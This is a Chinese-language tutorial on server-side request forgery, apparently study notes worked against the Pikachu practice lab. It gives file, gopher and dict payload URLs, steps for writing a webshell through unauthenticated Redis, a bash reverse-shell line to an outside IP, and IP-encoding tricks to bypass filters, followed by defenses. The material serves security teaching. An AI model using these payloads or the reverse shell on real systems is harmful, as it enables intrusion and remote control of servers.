SSRF攻击(服务端请求伪造)

1.SSRF(服务端请求伪造)原理

概念：是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下，SSRF是要目标网站的内部系统。（因为他是从内部系统访问的，所有可以通过它攻击外网无法访问的内部系统，也就是把目标网站当中间人）
原理：参数给变量未经过滤，使用了不安全的函数curl_init   、 file_get_contents、 fsockopen,这三个函数支持过滤协议，通过过滤协议读对方的文件，探测端口等

2.SSRF漏洞可以利用的用途
    

1）可以对外网、服务器所在的内网、本地进行端口扫描，获取一些服务器的banner（指纹信息）信息
2）对内网的web进行指纹识别，通过访问默认文件实现
3）利用file协议读取本地文件
4）攻击运行在内网或本地的应用程序（比如溢出）
5）攻击内外网的web应用，主要是使用get参数就可以实现的攻击（比如struts2 sqli等） 

3.SSRF攻击结果由函数本身来决定，函数的功能越强大，攻击的成功的几率就越大curl_init   、 file_get_contents、 fsockopen(白盒测试，代码审计）

4.协议

•  file协议的运用

     读取文件（可以获取敏感文件的信息）

 http://10.0.0.130:91/pikachu/vul/ssrf/ssrf_curl.php?url=file:///c:/1.txt

判断是否为php
  http://10.0.0.130:91/pikachu/vul/ssrf/ssrf_fgc.php?file=php://filter/read=convert.base64-encode/resource=ssrf.php

• gopher协议的运用（万金油）

 发送各种格式的请求包

在这里只能改为Post提交，还可以使用gopher协议

利用函数，可以使用get访问
http://10.0.0.130:91/pikachu/vul/ssrf/ssrf_curl.php?url=gopher://10.0.0.130:91%20/_POST%20/sql.php%20HTTP/1.1%250d%250aHost:%2010.0.0.130:91%250d%250aUser-Agent:%20curl/7.43.0%250d%250aAccept:%20*/*%250d%250aContent-Type:%20application/x-www-form-urlencoded%250d%250a%250d%250aid=1

• dict协议应用

字典服务器协议

http://10.0.0.130:91/pikachu/vul/ssrf/ssrf_curl.php?url=dict://10.0.0.130:3306/info  获取服务器端口运行的版本信息 

5.redis(6379)未授权访问漏洞（redis写webshell）

• 搭建redis

 上传文件到root目录下

        cd redis-6.0.16/

 make
 cd src

 cp redis-server /usr/bin

 cd ..
cp redis.conf /etc

vi /etc/redis.conf   修改配置文集   允许任何人访问

改为no 

  redis-server /etc/redis.conf    启动

检查进程  

 测试是否运行 redis-cli  -h 10.0.0.130  -p 6379
  另一台机器（同样安装）

•     Linux写webshell条件

        1、在攻击机上能用redis-cli连上；（将127.0.0.1改为0.0.0.0）客户端
         2、开了web服务器，并且知道路径（如利用phpinfo，或者错误爆路经）
        3、目录还需要具有文件写入权限

•  Linux写入webshell (知道物理路径)  写入语句

 redis-cli  -h 192.168.56.131 -p 6379
 config set dir /var/www/html    限制路径
 config set dbfilename shell.php   设置名字
 set webshell "\n\n\n\n\n\n"  写木马
 save    保存

写入webshell时需要使用换行，因为redis写入文件的时候会自带一些版本信息，不换行可能会导致无法执行。
1）同时打开kali  输入：pwd查找当时路径

 2）输入命令查询：ls

 3)切换路径：cd /var/www/html 

4）查询：ls

5）查看命令：cat  shell.php

 启动apache    service apache2 start 
 netstat -lnt    查看端口

   访问apache  

网站测试：http://10.0.0.130/shell.php

 蚁剑连接木马：http://192.168.56.131/shell.php(或者菜刀)

不知道物理路径直接bash反弹

 nc.exe -lvvp 7778

bash -i >& /dev/tcp/192.168.13.249/7778    centos 7
 nc.exe

   正向连接攻击者连接受害者，反向连接受害者连接攻击者 

6.如何挖到SSRF漏洞（黑盒测试)?
    

    1）分享：通过url地址分享网页的内容（例如拼多多，改一下地址）
    2)转码服务
    3）在线翻译
    4）图片加载与下载；通过url地址加载与下载图片
    5）图片、文章收藏功能
    6）未公开的api实现与其他调用得url的功能
    7）从url关键词来查找
        share，wap,url.link.src,source,target,display
        sourceURL,imageURL,domain,u,3g 

7.绕过方法
    

•     更改IP地址的写法

        8进制
            8进制格式：0300.0250.0.1
        16进制
            16进制格式：0xC0.0xA8.0.1
        10进制
            10进制整数格式：3232235521

•     利用解析URL出现的问题(把域名拼接上去，加@符号）

   8.防范方法
    

    1）过滤192.168.0.0/10.0.0.0/172.16.0.0  localhost 私有地址、ipv6地址
    2）过滤file:///    、 dict://   、gopher://   、ftp://、 http://   https://    php:///危险schema
        http://192.168.56.128:91/pikachu/vul/ssrf/ssrf_curl.php?url=file:///c:/1.tx        
    3）白名单过滤
    4）对返回的内容进行识别